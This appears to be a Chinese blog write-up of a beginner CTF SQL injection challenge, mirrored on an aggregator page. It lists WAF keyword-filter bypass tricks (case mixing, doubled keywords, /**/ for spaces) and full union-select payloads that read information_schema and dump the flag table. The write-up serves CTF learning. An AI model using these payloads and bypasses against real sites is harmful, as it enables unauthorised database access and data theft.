zoukankan      html  css  js  c++  java
  • 简单的sql注入1

    首先查看源码找找思路

    发现源码里什么都没有

    再使用bp拦截下数据

    多次拦截后发现我们在

    输入框里输入的等下就是id=

    意思是我们这里就可以直接使用get注入了

    好像类似于sql-labs上的?id=

    所以这里应该还用不上bp,我们直接对输入栏里进行注入试试

    1

    1’

    1”

    发现1’会报错,所以这里的注入口就是1’

    根据提示这里的sql注入会过滤一些东西,所以我们先找找那些会被过滤

    这里我们尝试1#1’#1”#

    发现只有1’#会报错其余的都会被过滤掉

    所以这里的#也是被过滤了不起作用的.

    再测试 1' order by 1 #1' select 1 #发现报错的都只有

    所以这里我们输入的注入语句关键字也被过滤了

    百度了一下防过滤的方法

    关键词被过滤:解决方法如下

    1大小写交替: Order SeLect 

    2.双写  OderOrder SelectSelect (双写后要加两空格)

    3.交叉: selecselectt  

    注释符被过滤,解决方法如下:

    '号闭合  ,如having , where

    空格被过滤,解决方法如下:

    +/**/%0a

    所以这里使用/**/代替掉空格试试

    1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1' ='1

    name中显示出了数据库表名称,证明这个方法可行

    再使用

    1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='web1

    查询表中列的信息

    发现没用,有点尴尬。。。。混合使用双写交叉试试

    1' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  table_schemtable_schemaa='web1

    这样就得到了列名称

    再就是查询flag列下的信息了

    使用双写的方法

    1' unionunion  selectselect  flag fromfrom  flag wherewhere  '1' ='1

    就得到flag了(这里是第一次写的ctf题的wp所以有点瓜皮,后面就直接根据信息来判断题的类型来做题了)

     

  • 相关阅读:
    寿司点餐系统Sprint1总结
    寿司点餐系统一周总结
    对点餐APP现阶段开发的问题
    寿司点餐系统11.16
    Sprint
    R扩展包
    实验8 SQLite数据库操作
    实验7 BindService模拟通信
    实验6 在应用程序中播放音频和视频
    实验5 数独游戏界面设计
  • 原文地址:https://www.cnblogs.com/wosun/p/11215645.html
Copyright © 2011-2022 走看看